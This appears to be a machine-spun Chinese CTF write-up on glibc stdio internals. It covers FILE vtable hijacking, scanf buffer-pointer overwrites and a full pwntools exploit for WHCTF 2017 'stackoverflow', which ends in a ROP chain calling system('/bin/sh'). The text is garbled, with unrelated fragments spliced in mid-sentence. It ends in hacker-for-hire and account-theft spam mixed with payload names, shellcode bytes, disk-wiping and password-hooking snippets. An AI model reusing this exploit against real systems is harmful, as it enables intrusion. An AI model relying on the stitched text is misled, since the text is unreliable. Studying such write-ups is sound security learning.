接口安全分析之从printf源码看libc的IO。我们彷佛每天都在使用IO,最典型的使用就是printf,scanf,以前我们只知道printf会有格式化字符串漏洞,然则我们并无怎样穷究过IO具体的是怎样回事,和具体有甚么可以或许侵略侵犯的点。
2016 HITCON有一道 house of orange,是一道可谓经典的标题,之一次(或许彷佛是之一次?)让我们把侵略侵犯的思维往IO FILE里去酌量,因此我们初步思虑libc的虚表的可侵略侵犯性,不幸的是,libc的拓荒职工也很快知道到了这个虚表的效果,在2.24的libc版别中对vtables中止了加固:
2.24 libc更新日记中的一个内容:
[20191] stdio: libio: vtables hardening
因此这个办法逐渐变得艰苦了起来,还好我们的思绪不仅仅是多么……
本文首要从经典的虚表道理初步提及,中心补偿一下scanf和printf的道理,末端提到一种较新的(或许是我觉得较新的?)思绪。
从虚表初步提及
首先我们来看下经典的(当然彷佛是2016往后才流行起来的)_IO_FILE_plus的虚表侵略侵犯办法。
1._IO_FILE 与 _IO_FILE_plus
源码永久是答复心中疑问的好先生,首先来看看关于这两个布局体的源码:
// libio/libio.h _IO_FILE 布局体
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_wri怎样构建te_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too *** all. */
#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
和_IO_FILE_plus:
// libio/libioP.h
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)
struct _IO_jump_t // 虚表布局体
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
struct _IO_FILE_plus
{
_IO_FILE file; // 就是一个libio.h中的_IO_FILE 布局体
const struct _IO_jump_t *vtable; // 多出一个vtable
};
我们可以或许看到_IO_FILE_plus的构成,实在就是一个_IO_FILE布局体自己再加之一个跳表,从plus这个称谓我们也能看进去,实在这个场所是为了兼容C++,抵挡C++的我们输入tasklis或许翻开任务管理器检查进程信息,我们可以根据CPU占用率、内存占用率、发起的作业来初步判断一下失常信息,根据PID找到失常进程。实行此指令检查进程名,途径,pid 再协作运用find或findstr就可以查到pid对应的途径了wmic process get name,executablepath,processid|findstr pid,假设查到对应的可疑文件后,我们可以通过多引擎查杀看一下是否有失常进程。东西来讲,除数据之外还有办法,办法的完结是会用到跳表的,为了可以或许兼容,除_IO_FILE自己之外,只能再添加一个跳表,然后使用新的布局体来中止兼容。
实际上在libc外部抵挡FILE布局体就是用_IO_FILE_plus来中止体现的,然则抵挡pwn选手来讲,只需有函数指针,就有控制实行流的可以,独一的效果是,用谁的函数指针?
这个实在并非一个难事,因为每个文件必定都有3个FILE,也就是如下三个,我想人人从前不能再知道他们了:
{C}// libio/libio.h
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
是的,就是stdin, stdout和stderr,好了,那末这类使用的思绪应当就比较理解了:只需我们有办法控制stdin,stdout和stderr的虚表指针,我们就可以或许在使用到这三个布局体的虚表的时间控制实行流。
不过还有一个小效果,究竟在甚么时间这些函数指针会被用到?那末让我们承继从输出输出初步提及……
2.你不知道的scanf和printf
如下内容源码较长,可以惹起不适,请过度傍观。为了简略,我们就从printf初步看。首先是printf的进口:
// stdio-common/printf.c
int
__printf (const char *format, ...)
{
va_list arg;
int done;
va_start (arg, format);
done = vfprintf (stdout, format, arg);
va_end (arg);
return done;
}
直接移送给了vfprintf,好吧,再来看vfprintf:
(感到代码太长的同窗可以或许直接跳到末端看结论)
// stdio-common/vfprintf.c
// 这儿好像有一些奇特的场所,我所使用的ubuntu-2.23的libc这儿移用的是
// _IO_vfprintf_internal,不过逻辑彷佛没有甚么不同
// 分析悉数printf太可怕了,我们就看%s和%d的完结好了
// 如下是一初步移用所必要存眷的部分
/* The function itself. */
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap)
{
[...]
// 检讨参数
ARGCHECK (s, format);
[...]
if (UNBUFFERED_P (s))
/* Use a helper function which will allocate a local temporary buffer
for the stream and then call us again. */
// 移用了buffered_vfprintf
return buffered_vfprintf (s, format, ap);
[...]
}
static int
internal_function
buffered_vfprintf (_IO_FILE *s, const CHAR_T *format,
_IO_va_list args)
{
[...]
/* Initialize helper. */
// 设置一个helper布局,这个布局看后文
helper._put_stream = s;
[...]
// 设置好了helper,跳归去
result = vfprintf (hp, format, args);
[...]
return result
}
// 好了始末helper的设置,我们又跳返来了,
/* The function itself. */
int
vfprintf (FILE *s, const CHAR_T *format, va_list ap)
{
[...]
// 一个大do-while来处置格式化字符串
/* Process whole format string. */
do
{
// 中心的操作反常的沉重
// 主假设处置了h,hh等等各类器械
// 不过格式化字符串自己在这儿并非我们存眷的要点,所以我们越过
[...]
// 这儿我们必要存眷了,这儿是在处置好格式化字符串自己的各类器械往后
// 实在对格式化字符串中止处置,中止输出等等
/* Process current format. */
while (1)
{
// 这儿实在就是直接用了process_arg,看来还得承继跟一下
process_arg (((struct printf_spec *) NULL));
process_string_arg (((struct printf_spec *) NULL));
LABEL (form_unknown):
if (spec == L_(''))
{
/* The format string ended before the specifier is complete. */
__set_errno (EINVAL);
done = -1;
goto all_done;
}
/* If we are in the fast loop force entering the complicated
one. */
goto do_positional;
}
[...]
}
// process_arg是个大宏,也反常冗杂,照样必要稀有简化
// 上面悉数是一个宏,所以忽略一些空格和反斜杠的不齐备和过失,多么愈加便当阅读
#define process_arg(fspec)
// 上面初步处置
/* Start real work. We know about all flags and modifiers and
now process the wanted format specifier. */
LABEL (form_percent):
{C} // 我们只存眷%d相干内容,其他类似
[...]
LABEL (form_integer):
// 整数相干的从这儿初步
// 设置base为10,意思是10进制
base = 10;
// 根据具体环境,再中止一些处置,往后移送到具体的longlong_number和number中止处置
if (is_longlong)
{
[...]
goto LABEL (longlong_number);
}
else
{
[...]
goto LABEL (number);
}
[...]
// longlong_number和number类似,不重复了
LABEL (number):
// 这儿的中心进程终极设置好了string
// 也就是必要输出的字符串
[...]
// 根据是不是正数,使用outchar中止输出字符
if (is_negative)
outchar (L_('-'));
else if (showsign)
outchar (L_('+'));
else if (space)
outchar (L_(' '));
[...]
{C} // 使用outstring把从前设置好的string输出了
outstring (string, workend - string);
break;
// 宏的阐明到这儿中止
// 宏首要的内容实在也很明显,就是先根据具体的格式化字符串标识符来设置好string,string
// 也就是我们要输出的内容,是一个字符串,往后使用outstring来输出字符串,抵挡字符则使用
// outchar输出字符
// 现在我们再来看看outchar和outstring
#define outchar(Ch)
do
{
const INT_T outc = (Ch);
// 又使用了PUTC来输出字符
if (PUTC (outc, s) == EOF || done == INT_MAX)
{
done = -1;
goto all_done;
}
++done;
}
while (0)
#define outstring(String, Len)
do
{
assert ((size_t) done size_t) INT_MAX);
// outstring则是使用了PUT来输出字符串
if ((size_t) PUT (s, (String), (Len)) != (size_t) (Len))
{
{C} done = -1;
goto all_done;
}
if (__glibc_unlikely (INT_MAX - done
{
done = -1;
__set_errno (EOVERFLOW);
goto all_done;
}
done += (Len);
}
while (0)
// libio/libioP.h
// 看来我们的责任还没完,再来看看PUTC和PUT
# define PUT(F, S, N) _IO_sputn ((F), (S), (N))
# define PUTC(C, F) _IO_putc_unlocked (C, F)
// 又移用了其他,承承继继
#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)
#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define JUMP2(FUNC, THIS, X1,3.系统具有TPM安全芯片(中) X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
// 毕竟送了一口气,跟了若干个函数都不记患了,不过终极是到点了。
// 这儿做的作业就是经由进程层层移送,终极由跳表中的呼应函数来完结
// 不过还有PUTC
// libio/libio.h
#define _IO_putc_unlocked(_ch, _fp)
(_IO_BE ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end, 0)
? __overflow (_fp, (unsigned char) (_ch))
: (unsigned char) (*(_fp)->_IO_write_ptr++ = (_ch)))
// 移用了__overflow
// libio/genops.h
int
__overflow (_IO_FILE *f, int ch)
{
/* This is a single-byte stream. */
if (f->_mode == 0)
_IO_fwide (f, -1);
return _IO_OVERFLOW (f, ch);
}
// 又移用了_IO_OVERFLOW,根据以前的定名法,我们应当猜到这个很靠近了
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
// 依然是移用虚表函数
这一段代码估计从前把人人的汗都看进去了,我们做个总结吧:实在就一句话,printf终极移用了虚表里的函数来完结输出责任。
也就是说,只需使用了printf,我们就相当于移用了虚表里的某个函数,具体哪个还必要从源码去看,不过关于虚表的部分提到这底子也就够了,scanf的内容实在也是相同,终极都邑到虚表里中止实行。
到这儿,我们就办理了关于使用虚表时间的效果,那就是甚么时间移用,所以只需有输出输出,我们就可以或许移用到虚表的某个函数了。
3.总结一下虚表的使用办法
因为libc中的标准输出输出函数会用到stdin,stdout和stderr几个布局体,而终极都邑使用虚表函数来完结具体操作,所以假设可以或许操作虚表指针,就可以或许控制实行流。
4.libc-2.24
在2.24中,添加了一个虚表的检测机制,也就是虚表必需坐落某一个位置之内,跨过这一段就会直接被abort掉,所以这个看似夸姣的办法到2.24就从前用不清楚。
没了虚表,想一想其他
1.输出buf也可以或许搞作业
到适才,我们分析了虚表以前的部分,然则,我们实在是没有不断走到更底层的,因为至多取得read/write系统移用才算是实在中止了输出输出的操作,而这个操作我们并无看到,那是因为他们都被完结在了虚表里。
现在让我们来分析一下scanf的虚表完结内容吧。此次我们少亮点源码,就看看这个underflow:
int
_IO_new_file_underflow (_IO_FILE *fp)
{
_IO_ssize_t count;
{C}#if 0
/* SysV does not make this test; take it out for compatibility */
if (fp->_flags & _IO_EOF_SEEN)
return (EOF);
#endif
if (fp->_flags & _IO_NO_READS)
{
fp->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
// 只需在read_ptr
if (fp->_IO_read_ptr _IO_read_end)
return *(unsigned char *) fp->_IO_read_ptr;
if (fp->_IO_buf_base == NULL)
{
/* Maybe we already have a push back pointer. */
if (fp->_IO "vin": "WAB1C23456V123456",_save_base != NULL)
{
free (fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf (fp);
}
/* Flush all line buffered files before reading. */
/* FIXME This can/should be moved to genops ?? */
if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED))
{
#if 0
_IO_flush_all_linebuffered ();
#else
/* We used to flush all line-buffered stream. This really isn't
required by any standard. My recollection is that
traditional Unix systems did this for stdout. stderr better
not be line buffered. So we do just that here
explicitly. --drepper */
_IO_acquire_lock (_IO_stdout);
if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))
== (_IO_LINKED | _IO_LINE_BUF))
_IO_OVERFLOW (_IO_stdout, EOF);
_IO_release_lock (_IO_stdout);
#endif
}
_IO_switch_to_get_mode (fp);
/* This is very tricky. We have to adjust those
pointers before we call _IO_SYSREAD () since
we may longjump () out while waiting for
input. Those pointers may be screwed up. H.J. */
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
fp->_IO_read_end = fp->_IO_buf_base;
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end
= fp->_IO_buf_base;
// 这儿移用read(0, _IO_buf_base, _IO_buf_end - _IO_buf_base)
count = _IO_SYSREAD (fp, fp->_IO_buf_base,
fp->_IO_buf_end - fp->_IO_buf_base);
if (count
{
if (count == 0)
fp->_flags |= _IO_EOF_SEEN;
else
fp->_flags |= _IO_ERR_SEEN, count = 0;
}
// read_end加之此次读所读到的字节数
fp->_IO_read_end += count;
if (count == 0)
{
/* If a stream is read to EOF, the calling application may switch active
handles. As a result, our offset cache would no longer be valid, so
unset it. */
fp->_offset = _IO_pos_BAD;
return EOF;
}
if (fp->_offset != _IO_pos_BAD)
_IO_pos_adjust (fp->_offset, count);
return *(unsigned char *) fp->_IO_read_ptr;
}
在移用underflow以前实在会中止一个_IO_read_ptr++的操作,共同上underflow,我想人人都应当能看懂这个的寄义吧?
_IO_buf_base, _IO_buf_end, _IO_read_ptr, _IO_read_end 4个变量都是在_IO_FILE的布局体里的,buf_base到buf
_end是一个buf,而read_ptr到read_end则比较奇特了,我猜测可所以没有处置的部分,read_ptr在一初步和buf_base相等,输出往后read_end会指向输出往后的最初部分,buf_end是不变的,每次输出只能输出buf_end-buf_base个size,并且只需在read_ptr >= read_end,也就是为空的时间才干够或许读入buf_base。
根据实际考试创造,每一次scanf彷佛read_ptr都邑加一,实在用到这个结论就可以或许了。
当然,最首要的场所照样移用read系统移用,写入的位置就在buf_base!因此假设可以或许变化这个值,就可以或许使用scanf中止随意率性写了!
这个手段当然肯定虚表来讲限制颇多,然则至多是供应了一个随意率性写的方案,可以或许作为扩展控制才干的一种手段,算是一种新的思绪。
2.WHCTF 2017 stackoverflow
接下来我们来看一下这类新思绪的使用吧。标题来源于WHCTF 2017。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // ST08_8@1
v3 = *MK_FP(__FS__, 40LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
input_name();
print_hint();
while ( 1 )
main_proc();
}
__int64 input_name()
{
char name; // [sp+0h] [bp-70h]@1
__int64 v2; // [sp+68h] [bp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
printf("leave your name, bro:");
read_content(&name, 0x50);
printf("worrier %s, now begin your challenge", &name);
return *MK_FP(__FS__, 40LL) ^ v2;
}
__int64 __fastcall read_content(char *buf, int size)
{
__int64 result; // rax@4
__int64 v3; // rcx@4
unsigned int v4; // [sp+14h] [bp-Ch]@1
__int64 v5; // [sp+18h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);
v4 = read(0, buf, size);
if ( (v4 & 0x80000000) != 0 )
{
printf("Error!", buf);
exit(0);
}
result = v4;
v3 = *MK_FP(__FS__, 40LL) ^ v5;
return result;
}
__int64 print_hint()
{
__int64 v0; // ST08_8@1
v0 = *MK_FP(__FS__, 40LL);
puts("Welcome to stackoverflow challenge!!!");
puts("it is really easy");
return *MK_FP(__FS__, 40LL) ^ v0;
}
__int64 main_proc()
{
__int64 result; // rax@7
__int64 v1; // rcx@7
int size; // [sp+8h] [bp-18h]@1
int tmp_size; // [sp+Ch] [bp-14h]@1
void *v4; // [sp+10h] [bp-10h]@4
__int64 v5; // [sp+18h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin); // get rid of n
tmp_size = size;
while ( size > 0x300000 )
{
puts("too much bytes to do stackoverflow.");
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
}
v4 = malloc(0x28uLL);
global_malloced = (char *)malloc(size + 1);
if ( !global_malloced )
{
printf("Error!");
exit(0);
}
printf("padding and ropchain: ");
read_content(global_malloced, size);
global_malloced[tmp_size] = 0; // out of bound write
result = 0LL;
v1 = *MK_FP(__FS__, 40LL) ^ v5;
return result;
}
标题有意思的场所就在于他的手段了。只能写入一个NULL的环境是反常受限制的,照样看看分析吧。
1)漏洞位置
①首先是input_name存在一个没有null最初的输出,因此可以或许构成走漏,作用是可以或许这儿要注意一下出生日期:走漏出libc,这个是比较简略的场所。
②main_proc中存在一个越界写,当输出size大于0x300000的时间,tmp_size会保存,往后重新输出往后tmp_size没有更新,引起越界写。
2)使用思绪
效果1:越界写,且只能写入一个null,看似毫无用处,不过幸而可以或许写入许多个null,因此malloc也可以或许中止多次,所以之一个责任是要可以或许写器械到有意义的场所,栈,堆或许libc,经由进程分配大地址引起堆mmap,我们可以或许使得分配的内容在libc以前邻近的位置,因此经由进程越界写就可以或许写入libc了。
效果2:写啥?这个真的是卡了许多人的一个场所,终极的选择,是写了_IO_buf_base,这个标题比较特别,给出的libc-2.24.so偏移有特别性,_IO_buf_base比_IO_buf_end小1,并且_IO_buf_end地址的更低位恰好是00,因此向base写入一个00,就可以或许指向end,往后往end写入malloc_hook的地址,然后轮回一下使read_ptr和read_end相等,再次读入,就可以或许写入malloc_hook了
效果3:若何扩展控制。实在控制了实行流,就比较简略了,我们找了一个read:
.text:0000000000400A23 ; 7: read_content(&name, 0x50);
.text:0000000000400A23 lea rax, [rbp+name]
.text:0000000000400A27 mov esi, 50h
.text:0000000000400A2C mov rdi, rax
.text:0000000000400A2F call read_content
这个read是input_name里的,往栈上写入内容,往后就可以或许中止rop了。
3)exp
import sys
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
DEBUG = 0
GDB = 1
libc = ELF('./libc-2.24.so')
if DEBUG:
p = process('./stackoverflow')
else:
HOST = sys.argv[1]
PORT = int(sys.argv[2])
p = remote(HOST, PORT)
def leak_libc():
p.sendline('a' * 7)
p.recvuntil('worrier ' + 'a' * 7 + 'n')
leak = ((p.recvuntil(',')[:-1]).ljust(8, 'x00'))
p.info(len(leak))
addr = u64(leak)
return addr - 0x7dd52
def main():
if GDB:
raw_input()
libc_base = leak_libc()
p.info('libc_base: {}'.format(hex(libc_base)))
p.recvuntil('stackoverflow:')
p.sendline(str(0x5c28f8 - 0x10))
p.recvuntil('stackoverflow:')
p.sendline(str(0x200000))
p.recvuntil('ropchain:')
p.send('a') # doesn't matter
p.recvuntil('stackoverflow:')
# This will be written at &_IO_buf_base
malloc_hook_end = libc_base + libc.symbols['__malloc_hook'] + 8
payload = p64(malloc_hook_end)
p.send(payload)
p.recvuntil('ropchain:')
p.send('b')
for i in range(len(payload) - 1):
p.recvuntil('stackoverflow:')
p.recvuntil('ropchain:')
p.send('x')
file_struct_left = p64(malloc_hook_end)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p32(0)
file_struct_left += p32(0x10)
file_struct_left += p64(0xffffffffffffffff)
file_struct_left += p64(0)
file_struct_left += p64(libc_base + 0x3c3770)
file_struct_left += p64(0xffffffffffffffff)
file_struct_left += p64(0)
file_struct_left += p64(libc_base + 0x3c19a0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(0)
file_struct_left += p64(libc_base + 0x3be400)
payload = file_struct_left
payload = payload.ljust(0x1f0, 'x00')
payload += p64(0x400a23) # rip
p.recvuntil('stackoverflow:')
# This will be written in __malloc_hook
p.send(payload)
# Rop from here
binsh_addr = 0x0000000000602000 + 0x500
pop_rdi_ret = 0x000000000001fd7a + libc_base
pop_rsi_ret = 0x000000000001fcbd + libc_base
pop_rdx_ret = 0x0000000000001b92 + libc_base
payload = p64(pop_rdi_ret)
payload += p64(0) # fd
payload += p64(pop_rsi_ret)
payload += p64(binsh_addr) # buf
payload += p64(pop_rdx_ret)
payload += p64(0x100) # nbytes
payload += p64(libc_base + libc.symbols['read']) # read(0, binsh_addr, 0x100)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr) # system_cmd = /bin/shx00
payload += p64(libc_base + libc.symbols['system']) # system("/bin/shx00")
p.send(payload)
p.send('/bin/shx00')
p.interactive()
if __name__ == "__main__":
main()
这道标题实在就是一个写buf的手段的使用,只需可以或许想到用写buf的手段实在就很简略了。
总结
1.scanf和printf之类的输出输出函数终极都邑移用呼应虚函数完结底层操作,2.24以前可以或许经由进程变化虚表来控制实行流。
2.底层操作终极经由进程read等系统移用中止完结,也就是完结在虚表里,被初始化进虚表。
3.抵挡scanf来讲,虚表完结写入的时间会使用到buf,这儿的buf会在scanf时间用到,所以可以或许经由进程控制buf来抵达对libc的一个随意率性写入,这个办法没有被2.24影响。
4.libc傍边值得注意的场所还有许多,应当更多的去深刻到源码去根究这些有意思的器械。
免费黑客接单:接口安全剖析之从printf源码看libc的IO
at 时间 -f 文件标准的C言语并不等同于Windows C编程00007ffc`ab6c1aa0 65488b042560000000 mov rax,
qword ptr gs:[60h]接口安全分析之从printf源码看libc的IO
免费黑客接单当初始化(加载)Shell.Exporer.1方针时,ShellLink结构将被解析为常规LNK文件。然后,该方针从ShellLink获取ID列表,并以此来导航到供应的文件, (shell) 文件夹或网站。Radu等人选用随机森林算法检测恶意动态行为,根据API调用信息提取了68维的特征向量,对四类恶意样本进行了分类。该研讨没有考虑白样本,适宜在对样本对错分类后进行恶意类别细分。Ivan等人用KNN,朴素贝叶斯,SVM,J48,MLP这5种算法进行了比较分析,不过其用于实验的总样本数只需470个,其效果的可靠性不是很高。笔者也用这些算法进行了实验,其效果没有论文中的数据那么好。
RC4 256Bit KEY,每一个文件生成一个,通过’MakeRandomStr(64)’生成并核算SHA256 其间,下面这两个函数首要担任加载缓解选项:分解: keywords>免费黑客接单
WebAdminProtocol —— WebAdmin协议,默认为http 过短的盐和不加没啥差异刺进U盘,翻开我的电脑,就会反弹shell了。
curl ip.appspot.com[root@leo ~]# ansible ls -m command -a "sudo hostname"当然,进步权限后还要收拾下痕迹,具体代码请看无缺PoC,点这儿下载
300,标明300秒,也就是标明5分钟。这样,假设系统中登陆的用户在5分钟内都没有动作,那么系统会自动注销这个账户。
接口安全分析之从printf源码看libc的IO免费黑客接单上面的比方会格式化/dev/
sda,在实行上面的指令后,你的硬盘驱动会被标记为新的。当然,这时系统是无法再恢复数据了。UIDS=`awk -F[:] 'NR!=1{print $3}' /etc/passwd`“xc0x40xebxf9xe8xbdxffxffxffx2fx62x69″E-MapReduce
payload:/windows/meterpreter/reverse_https免费黑客接单
DV SSL: 域名验证型SSL(Domain Validation SSL)这步错了,什么都没用了。
假设不需求通过web安置运用,建议注释或删去tomcat-users.xml下用户权限相关配备接口安全分析之从printf源码看libc的IO
至于systemd,它会通过Unix domain sockets运用一种更凌乱的进程间通讯。我们选择侵犯文件系统的挂载,而非这个进程。这又是一个库函数,它在动态加载库中,从systemd里调用,所以我们可以hook这个函数。解密硬盘的函数叫做crypt_activate_by_passphrase。这个函数会把暗码作为char数组。通过hook这个函数,我们可以获取到暗码。我们要包裹这个原本的函数,所以我们用dlsym翻开实在的函数,并且调用它。不过在此之前我们会保存暗码以便往后取回。
这些指令关于调试后端功用非常有用。
关于linux的后门检查, *** 上有一些揭穿的东西,但是在不运用这些东西的条件时,我们可以通过一些指令来获取一些信息。 [2015-03-31 08:19:28] WARN TCPServer Error: Address already in use - bind(2)一、追回赌资是真的吗黑客接单流程 1、找接单黑客扫描这么多端口需要半个多小时的时间才能看到计算机的端口是开放的,除了139端口。追回赌资是真的吗如何让小学生成为如果你对当地黑客的邪恶行为感到担忧,那就...
许多多网络红人止痒膏两岁下列小宝宝都不能用,那两岁下列的宝宝被蚊子叮咬了,要怎么办呢?下边的我就而言说:两岁下列小宝宝被蚊子叮咬了该怎么办 炉甘石能冶疗小宝宝蚊子叮咬吗。 1肥皂液 不必小看香...
生长素的作用机理(生长素还能抑制生长?) 花草总向窗外长,枝芽总朝屋外伸,红杏总往墙外爬。(嗯?) 生活中我们经常发现,植物总是趋向于往有阳光的方向生长。那么,究竟是什么物质引发了植物生长方向...
每日要闻说实话,微信没 有被盗可 能,除非对方拿到你的手机 ,或者你授权别人登录才行 因 为即使知道账号密码登录新设备的时候也需要验证才能通过 微信盗号下载什么软件 微信盗号不被对方知道的方法是什...
4、12345678 (↓ 1)研究人员以为这是一个多模块的进犯结构,一方面经过DNS通讯信道来传递指令到方针署理,一方面开发control panel到DNS通讯体系中。 假如将该结构看作一个开发者...
黑客帮忙找QQ密码相关问题 手机微信被黑客入侵了 怎么办相关问题 黑客肉鸡怎么赚钱 快三破解出号规律(彩票快三规律破解)...